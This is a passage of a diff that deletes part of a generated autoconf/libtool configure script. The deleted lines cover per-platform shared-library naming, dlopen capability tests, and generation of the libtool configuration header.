- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action=
-if test -n "$hardcode_libdir_flag_spec" || \
- test -n "$runpath_var" || \
- test "X$hardcode_automatic" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no &&
- test "$hardcode_minus_L" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action" >&5
-$as_echo "$hardcode_action" >&6; }
-
-if test "$hardcode_action" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-striplib=
-old_striplib=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stripping libraries is possible" >&5
-$as_echo_n "checking whether stripping libraries is possible... " >&6; }
-if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then
- test -z "$old_striplib" && old_striplib="$STRIP --strip-debug"
- test -z "$striplib" && striplib="$STRIP --strip-unneeded"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-else
-# FIXME - insert some real tests, host_os isn't really good enough
- case $host_os in
- darwin*)
- if test -n "$STRIP" ; then
- striplib="$STRIP -x"
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
- ;;
- *)
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- ;;
- esac
-fi
-
-if test "x$enable_dlopen" != xyes; then
- enable_dlopen=unknown
- enable_dlopen_self=unknown
- enable_dlopen_self_static=unknown
-else
- lt_cv_dlopen=no
- lt_cv_dlopen_libs=
-
- case $host_os in
- beos*)
- lt_cv_dlopen="load_add_on"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
- ;;
-
- mingw* | pw32*)
- lt_cv_dlopen="LoadLibrary"
- lt_cv_dlopen_libs=
- ;;
-
- cygwin*)
- lt_cv_dlopen="dlopen"
- lt_cv_dlopen_libs=
- ;;
-
- darwin*)
- # if libdl is installed we need to link against it
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
-
- lt_cv_dlopen="dyld"
- lt_cv_dlopen_libs=
- lt_cv_dlopen_self=yes
-
-fi
-
- ;;
-
- *)
- ac_fn_c_check_func "$LINENO" "shl_load" "ac_cv_func_shl_load"
-if test "x$ac_cv_func_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for shl_load in -ldld" >&5
-$as_echo_n "checking for shl_load in -ldld... " >&6; }
-if ${ac_cv_lib_dld_shl_load+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shl_load ();
-int
-main ()
-{
-return shl_load ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dld_shl_load=yes
-else
- ac_cv_lib_dld_shl_load=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_shl_load" >&5
-$as_echo "$ac_cv_lib_dld_shl_load" >&6; }
-if test "x$ac_cv_lib_dld_shl_load" = xyes; then :
- lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld"
-else
- ac_fn_c_check_func "$LINENO" "dlopen" "ac_cv_func_dlopen"
-if test "x$ac_cv_func_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -ldl" >&5
-$as_echo_n "checking for dlopen in -ldl... " >&6; }
-if ${ac_cv_lib_dl_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dl_dlopen=yes
-else
- ac_cv_lib_dl_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dl_dlopen" >&5
-$as_echo "$ac_cv_lib_dl_dlopen" >&6; }
-if test "x$ac_cv_lib_dl_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dlopen in -lsvld" >&5
-$as_echo_n "checking for dlopen in -lsvld... " >&6; }
-if ${ac_cv_lib_svld_dlopen+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsvld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dlopen ();
-int
-main ()
-{
-return dlopen ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_svld_dlopen=yes
-else
- ac_cv_lib_svld_dlopen=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_svld_dlopen" >&5
-$as_echo "$ac_cv_lib_svld_dlopen" >&6; }
-if test "x$ac_cv_lib_svld_dlopen" = xyes; then :
- lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld"
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for dld_link in -ldld" >&5
-$as_echo_n "checking for dld_link in -ldld... " >&6; }
-if ${ac_cv_lib_dld_dld_link+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-ldld $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char dld_link ();
-int
-main ()
-{
-return dld_link ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_dld_dld_link=yes
-else
- ac_cv_lib_dld_dld_link=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_dld_dld_link" >&5
-$as_echo "$ac_cv_lib_dld_dld_link" >&6; }
-if test "x$ac_cv_lib_dld_dld_link" = xyes; then :
- lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld"
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
-
-fi
-
- ;;
- esac
-
- if test "x$lt_cv_dlopen" != xno; then
- enable_dlopen=yes
- else
- enable_dlopen=no
- fi
-
- case $lt_cv_dlopen in
- dlopen)
- save_CPPFLAGS="$CPPFLAGS"
- test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H"
-
- save_LDFLAGS="$LDFLAGS"
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\"
-
- save_LIBS="$LIBS"
- LIBS="$lt_cv_dlopen_libs $LIBS"
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a program can dlopen itself" >&5
-$as_echo_n "checking whether a program can dlopen itself... " >&6; }
-if ${lt_cv_dlopen_self+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self=cross
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}
-EOF
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&5 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;;
- x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self" >&5
-$as_echo "$lt_cv_dlopen_self" >&6; }
-
- if test "x$lt_cv_dlopen_self" = xyes; then
- wl=$lt_prog_compiler_wl eval LDFLAGS=\"\$LDFLAGS $lt_prog_compiler_static\"
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether a statically linked program can dlopen itself" >&5
-$as_echo_n "checking whether a statically linked program can dlopen itself... " >&6; }
-if ${lt_cv_dlopen_self_static+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- lt_cv_dlopen_self_static=cross
-else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<EOF
-#line __oline__ "configure"
-#include "confdefs.h"
-
-#if HAVE_DLFCN_H
-#include <dlfcn.h>
-#endif
-
-#include <stdio.h>
-
-#ifdef RTLD_GLOBAL
-# define LT_DLGLOBAL RTLD_GLOBAL
-#else
-# ifdef DL_GLOBAL
-# define LT_DLGLOBAL DL_GLOBAL
-# else
-# define LT_DLGLOBAL 0
-# endif
-#endif
-
-/* We may have to define LT_DLLAZY_OR_NOW in the command line if we
- find out it does not work in some platform. */
-#ifndef LT_DLLAZY_OR_NOW
-# ifdef RTLD_LAZY
-# define LT_DLLAZY_OR_NOW RTLD_LAZY
-# else
-# ifdef DL_LAZY
-# define LT_DLLAZY_OR_NOW DL_LAZY
-# else
-# ifdef RTLD_NOW
-# define LT_DLLAZY_OR_NOW RTLD_NOW
-# else
-# ifdef DL_NOW
-# define LT_DLLAZY_OR_NOW DL_NOW
-# else
-# define LT_DLLAZY_OR_NOW 0
-# endif
-# endif
-# endif
-# endif
-#endif
-
-#ifdef __cplusplus
-extern "C" void exit (int);
-#endif
-
-void fnord() { int i=42;}
-int main ()
-{
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
- int status = $lt_dlunknown;
-
- if (self)
- {
- if (dlsym (self,"fnord")) status = $lt_dlno_uscore;
- else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore;
- /* dlclose (self); */
- }
- else
- puts (dlerror ());
-
- exit (status);
-}
-EOF
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext} 2>/dev/null; then
- (./conftest; exit; ) >&5 2>/dev/null
- lt_status=$?
- case x$lt_status in
- x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;;
- x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;;
- x$lt_dlunknown|x*) lt_cv_dlopen_self_static=no ;;
- esac
- else :
- # compilation failed
- lt_cv_dlopen_self_static=no
- fi
-fi
-rm -fr conftest*
-
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_dlopen_self_static" >&5
-$as_echo "$lt_cv_dlopen_self_static" >&6; }
- fi
-
- CPPFLAGS="$save_CPPFLAGS"
- LDFLAGS="$save_LDFLAGS"
- LIBS="$save_LIBS"
- ;;
- esac
-
- case $lt_cv_dlopen_self in
- yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;;
- *) enable_dlopen_self=unknown ;;
- esac
-
- case $lt_cv_dlopen_self_static in
- yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;;
- *) enable_dlopen_self_static=unknown ;;
- esac
-fi
-
-
-# Report which library types will actually be built
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if libtool supports shared libraries" >&5
-$as_echo_n "checking if libtool supports shared libraries... " >&6; }
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $can_build_shared" >&5
-$as_echo "$can_build_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build shared libraries" >&5
-$as_echo_n "checking whether to build shared libraries... " >&6; }
-test "$can_build_shared" = "no" && enable_shared=no
-
-# On AIX, shared libraries and static libraries use the same namespace, and
-# are all built from PIC.
-case $host_os in
-aix3*)
- test "$enable_shared" = yes && enable_static=no
- if test -n "$RANLIB"; then
- archive_cmds="$archive_cmds~\$RANLIB \$lib"
- postinstall_cmds='$RANLIB $lib'
- fi
- ;;
-
-aix4* | aix5*)
- if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
- test "$enable_shared" = yes && enable_static=no
- fi
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_shared" >&5
-$as_echo "$enable_shared" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether to build static libraries" >&5
-$as_echo_n "checking whether to build static libraries... " >&6; }
-# Make sure either enable_shared or enable_static is yes.
-test "$enable_shared" = yes || enable_static=yes
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $enable_static" >&5
-$as_echo "$enable_static" >&6; }
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler \
- CC \
- LD \
- lt_prog_compiler_wl \
- lt_prog_compiler_pic \
- lt_prog_compiler_static \
- lt_prog_compiler_no_builtin_flag \
- export_dynamic_flag_spec \
- thread_safe_flag_spec \
- whole_archive_flag_spec \
- enable_shared_with_static_runtimes \
- old_archive_cmds \
- old_archive_from_new_cmds \
- predep_objects \
- postdep_objects \
- predeps \
- postdeps \
- compiler_lib_search_path \
- archive_cmds \
- archive_expsym_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- old_archive_from_expsyms_cmds \
- allow_undefined_flag \
- no_undefined_flag \
- export_symbols_cmds \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
- hardcode_automatic \
- module_cmds \
- module_expsym_cmds \
- lt_cv_prog_compiler_c_o \
- exclude_expsyms \
- include_expsyms; do
-
- case $var in
- old_archive_cmds | \
- old_archive_from_new_cmds | \
- archive_cmds | \
- archive_expsym_cmds | \
- module_cmds | \
- module_expsym_cmds | \
- old_archive_from_expsyms_cmds | \
- export_symbols_cmds | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="${ofile}T"
- trap "$rm \"$cfgfile\"; exit 1" 1 2 15
- $rm -f "$cfgfile"
- { $as_echo "$as_me:${as_lineno-$LINENO}: creating $ofile" >&5
-$as_echo "$as_me: creating $ofile" >&6;}
-
- cat <<__EOF__ >> "$cfgfile"
-#! $SHELL
-
-# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services.
-# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP)
-# NOTE: Changes made to this file will be lost: look at ltmain.sh.
-#
-# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001
-# Free Software Foundation, Inc.
-#
-# This file is part of GNU Libtool:
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
-# General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# A sed program that does not truncate output.
-SED=$lt_SED
-
-# Sed that helps us avoid accidentally triggering echo(1) options like -n.
-Xsed="$SED -e 1s/^X//"
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
-available_tags=
-
-# ### BEGIN LIBTOOL CONFIG
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-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
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-host=$host
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-
-# The build system.
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-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
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-
-# The archiver.
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-# A language-specific compiler.
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-# An ERE matcher.
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-# The linker used to build libraries.
